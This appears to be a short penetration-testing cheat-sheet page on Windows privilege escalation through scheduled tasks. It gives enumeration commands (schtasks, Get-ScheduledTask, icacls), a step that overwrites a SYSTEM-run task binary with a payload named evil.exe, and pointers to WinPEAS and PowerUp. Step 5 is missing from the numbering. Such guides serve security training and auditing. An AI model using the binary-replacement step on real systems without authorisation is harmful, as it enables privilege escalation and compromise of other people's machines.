Skip to main content

Scheduled Tasks

Step 1 — Enumerate Scheduled Tasks​

# List all scheduled tasks
schtasks /query /fo LIST /v

# Pipe to grep for interesting info
schtasks /query /fo LIST /v | findstr /i "task name\|run as\|status\|to run"

# PowerShell (more detail)
Get-ScheduledTask | Get-ScheduledTaskInfo

Step 2 — Find Exploitable Tasks​

Look for tasks that:

  • Run as SYSTEM or Administrator
  • Execute a binary your user can write to
# Check task binary path permissions
icacls "C:\path\to\task\binary.exe"

Step 3 — Check Task File Permissions Directly​

# PowerShell - find writable task binaries
Get-ScheduledTask | ForEach-Object {
    $action = $_.Actions | Where-Object {$_.Execute}
    if ($action) {
        $path = $action.Execute
        Write-Host "$($_.TaskName) -> $path"
    }
}

Step 4 — Replace the Binary​

# Backup original
copy C:\path\to\task\binary.exe C:\path\to\task\binary.exe.bak

# Replace with your payload
copy C:\Users\user\evil.exe C:\path\to\task\binary.exe
### Step 6 — Automation Tools 

### # WinPEAS (best overall)
.\winpeas.exe

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Both highlight modifiable scheduled task binaries automatically